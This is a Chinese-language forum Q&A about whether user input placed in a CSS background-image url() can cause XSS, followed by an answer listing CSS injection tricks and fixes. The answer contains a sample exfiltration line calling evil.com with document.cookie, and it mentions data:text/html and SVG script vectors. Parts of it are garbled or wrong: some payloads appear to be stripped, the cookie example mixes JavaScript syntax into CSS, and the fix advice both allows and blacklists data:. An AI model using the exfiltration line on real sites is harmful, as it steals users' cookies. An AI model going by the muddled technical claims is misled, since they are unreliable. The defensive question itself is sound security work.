白盒测试时如何判断CSS会不会引发安全问题?
最近在做Web安全的白盒测试,看到项目里有一段动态生成的CSS,担心会不会有XSS风险。虽然CSS本身不能执行JS,但听说某些属性比如url()或者@import可能被利用,是不是真的?
比如下面这段代码,用户输入的内容会拼接到background-image里:
.user-card {
background-image: url("{{ userAvatarUrl }}");
border: 1px solid #ccc;
padding: 10px;
}
我试过把{{ userAvatarUrl }}替换成javascript:alert(1),浏览器好像没执行,但不确定是不是所有情况都安全。这种写法到底算不算漏洞?需要转义吗?
先说你的场景
background-image的url()里用javascript:伪协议,在Chrome、Firefox、Safari里都翻不起浪。但你得确认一件事——用户输入的内容是不是真的只在这个url()里面?有没有可能突破出去跑到HTML里?
如果{{ userAvatarUrl }}没被正确转义,用户输入
">这种东西,假设它被直接插到HTML属性里,那就真中奖了。CSS注入的几种玩法
expression()和behavior这种IE老黄历不提了,现在主要防几个:
一是CSS变量渗透。如果你的CSS用了var(--xxx)这种变量,用户输入
--color: red; background: url(http://evil.com/?data=${document.cookie})这种,能把你整个页面的CSS变量污染个遍,虽然不能直接执行JS,但可以偷数据搞侧信道攻击。二是data:协议。用户如果能控制url()内容,弄个
data:text/html,进去,在某些老版本浏览器或者特定上下文里可能翻车。三是SVG搞事情。如果CSS背景图指向SVG文件,SVG里可以内嵌script标签,这个是真实存在过的漏洞。
怎么修
最靠谱的做法是对用户输入做URL协议白名单,只允许http、https、data(谨慎),把javascript:、data:这种直接拉黑。输出到CSS之前做URL编码,特别是引号和括号这些敏感字符。
如果用WordPress的话,esc_url()这个函数可以看看,它会帮你过滤掉危险协议。不过最关键的还是确认你的模板引擎到底是怎么输出这个变量的——是直接拼接还是用了转义函数,这个才是决定性的。